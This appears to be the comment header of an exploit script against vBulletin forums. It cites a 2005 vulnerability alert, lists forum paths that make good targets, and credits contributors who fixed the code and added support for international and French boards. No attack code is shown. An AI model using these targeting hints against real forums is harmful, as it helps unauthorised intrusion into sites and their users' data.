 * Needed to pentest a few vBulletin forums so I wrote this junk real quick.
 * Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
 * Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
 * Update 1: Code error fixes. /str0ke (str0ke@milw0rm.com)
 * Update 2: Fixed datestring-version for international boards by hals1 (h4ls4bschn31d3r@gmx.net)
 * Update 3: French vBulletin boards added by Tyn0r (tyn0r@atxteam.net)
